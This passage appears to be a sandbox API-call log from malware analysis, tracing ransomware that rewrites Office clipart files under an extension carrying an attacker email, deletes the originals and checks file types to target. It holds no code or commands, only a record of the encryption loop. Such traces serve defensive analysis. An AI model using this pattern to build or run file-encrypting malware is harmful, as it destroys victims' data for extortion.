liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.231] GetLastError () returned 0x0 [0168.231] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4146, lpOverlapped=0x0) returned 1 [0168.275] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4150, lpOverlapped=0x0) returned 1 [0168.276] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.276] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.276] SetEndOfFile (hFile=0x354) returned 1 [0168.279] CloseHandle (hObject=0x354) returned 1 [0168.279] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.279] SetEndOfFile (hFile=0x360) returned 1 [0168.281] CloseHandle (hObject=0x360) returned 1 [0168.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.285] lstrlenW (lpString=".doc") returned 4 [0168.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.285] lstrlenW (lpString=".docx") returned 5 [0168.285] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.285] lstrlenW (lpString=".pdf") returned 4 [0168.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.285] lstrlenW (lpString=".xls") returned 4 [0168.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.285] lstrlenW (lpString=".xlsx") returned 5 [0168.285] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.285] lstrlenW (lpString=".ppt") returned 4 [0168.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.285] lstrlenW (lpString=".zip") returned 4 [0168.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.285] lstrlenW (lpString=".rar") returned 4 [0168.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.285] lstrlenW (lpString=".bz2") returned 4 [0168.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString=".7z") returned 3 [0168.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".dbf") returned 4 [0168.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".1cd") returned 4 [0168.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".jpg") returned 4 [0168.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".doc") returned 4 [0168.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString=".docx") returned 5 [0168.286] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.286] lstrlenW (lpString=".pdf") returned 4 [0168.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString=".xls") returned 4 [0168.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.286] lstrlenW (lpString=".xlsx") returned 5 [0168.286] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.286] lstrlenW (lpString=".ppt") returned 4 [0168.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".zip") returned 4 [0168.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.286] lstrlenW (lpString=".rar") returned 4 [0168.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString=".bz2") returned 4 [0168.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString=".7z") returned 3 [0168.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".dbf") returned 4 [0168.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".1cd") returned 4 [0168.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0168.286] lstrlenW (lpString=".jpg") returned 4 [0168.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.286] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.286] lstrlenW (lpString="J0145272.JPG") returned 12 [0168.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.289] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=49238) returned 1 [0168.289] CloseHandle (hObject=0x388) returned 1 [0168.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0168.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.291] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.291] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.292] GetLastError () returned 0x0 [0168.292] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc056, lpOverlapped=0x0) returned 1 [0168.304] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc060, lpOverlapped=0x0) returned 1 [0168.306] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.306] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.306] SetEndOfFile (hFile=0x360) returned 1 [0168.306] CloseHandle (hObject=0x360) returned 1 [0168.306] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.306] SetEndOfFile (hFile=0x3ac) returned 1 [0168.307] CloseHandle (hObject=0x3ac) returned 1 [0168.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.308] lstrlenW (lpString=".doc") returned 4 [0168.308] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.308] lstrlenW (lpString=".docx") returned 5 [0168.308] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0168.308] lstrlenW (lpString=".pdf") returned 4 [0168.308] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.308] lstrlenW (lpString=".xls") returned 4 [0168.308] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.308] lstrlenW (lpString=".xlsx") returned 5 [0168.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0168.308] lstrlenW (lpString=".ppt") returned 4 [0168.308] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.308] lstrlenW (lpString=".zip") returned 4 [0168.308] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.308] lstrlenW (lpString=".rar") returned 4 [0168.308] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString=".bz2") returned 4 [0168.309] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.309] lstrlenW (lpString=".7z") returned 3 [0168.309] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".dbf") returned 4 [0168.309] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".1cd") returned 4 [0168.309] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".jpg") returned 4 [0168.309] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".doc") returned 4 [0168.309] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.309] lstrlenW (lpString=".docx") returned 5 [0168.309] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0168.309] lstrlenW (lpString=".pdf") returned 4 [0168.309] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString=".xls") returned 4 [0168.309] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString=".xlsx") returned 5 [0168.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0168.309] lstrlenW (lpString=".ppt") returned 4 [0168.309] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".zip") returned 4 [0168.309] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString=".rar") returned 4 [0168.309] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.309] lstrlenW (lpString=".bz2") returned 4 [0168.309] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.309] lstrlenW (lpString=".7z") returned 3 [0168.309] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.309] lstrlenW (lpString=".dbf") returned 4 [0168.309] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.310] lstrlenW (lpString=".1cd") returned 4 [0168.310] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0168.310] lstrlenW (lpString=".jpg") returned 4 [0168.310] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.310] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.310] lstrlenW (lpString="J0145669.JPG") returned 12 [0168.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.311] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31850) returned 1 [0168.311] CloseHandle (hObject=0x3ac) returned 1 [0168.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0168.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.311] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.311] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.312] GetLastError () returned 0x0 [0168.312] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0168.328] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7c70, lpOverlapped=0x0) returned 1 [0168.329] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.330] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.330] SetEndOfFile (hFile=0x360) returned 1 [0168.331] CloseHandle (hObject=0x360) returned 1 [0168.333] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.333] SetEndOfFile (hFile=0x3ac) returned 1 [0168.335] CloseHandle (hObject=0x3ac) returned 1 [0168.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.338] lstrlenW (lpString=".doc") returned 4 [0168.338] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.339] lstrlenW (lpString=".docx") returned 5 [0168.339] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.339] lstrlenW (lpString=".pdf") returned 4 [0168.339] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".xls") returned 4 [0168.339] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".xlsx") returned 5 [0168.339] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.339] lstrlenW (lpString=".ppt") returned 4 [0168.339] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString=".zip") returned 4 [0168.339] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".rar") returned 4 [0168.339] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".bz2") returned 4 [0168.339] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.339] lstrlenW (lpString=".7z") returned 3 [0168.339] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString=".dbf") returned 4 [0168.339] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString=".1cd") returned 4 [0168.339] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString=".jpg") returned 4 [0168.339] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.339] lstrlenW (lpString=".doc") returned 4 [0168.339] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.339] lstrlenW (lpString=".docx") returned 5 [0168.339] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.339] lstrlenW (lpString=".pdf") returned 4 [0168.339] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".xls") returned 4 [0168.339] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString=".xlsx") returned 5 [0168.339] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.339] lstrlenW (lpString=".ppt") returned 4 [0168.339] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.340] lstrlenW (lpString=".zip") returned 4 [0168.340] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.340] lstrlenW (lpString=".rar") returned 4 [0168.340] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.340] lstrlenW (lpString=".bz2") returned 4 [0168.340] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.340] lstrlenW (lpString=".7z") returned 3 [0168.340] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.340] lstrlenW (lpString=".dbf") returned 4 [0168.340] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.340] lstrlenW (lpString=".1cd") returned 4 [0168.340] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0168.340] lstrlenW (lpString=".jpg") returned 4 [0168.340] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.340] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.340] lstrlenW (lpString="J0145895.JPG") returned 12 [0168.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.350] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=33958) returned 1 [0168.350] CloseHandle (hObject=0x2ec) returned 1 [0168.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0168.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.369] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.369] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 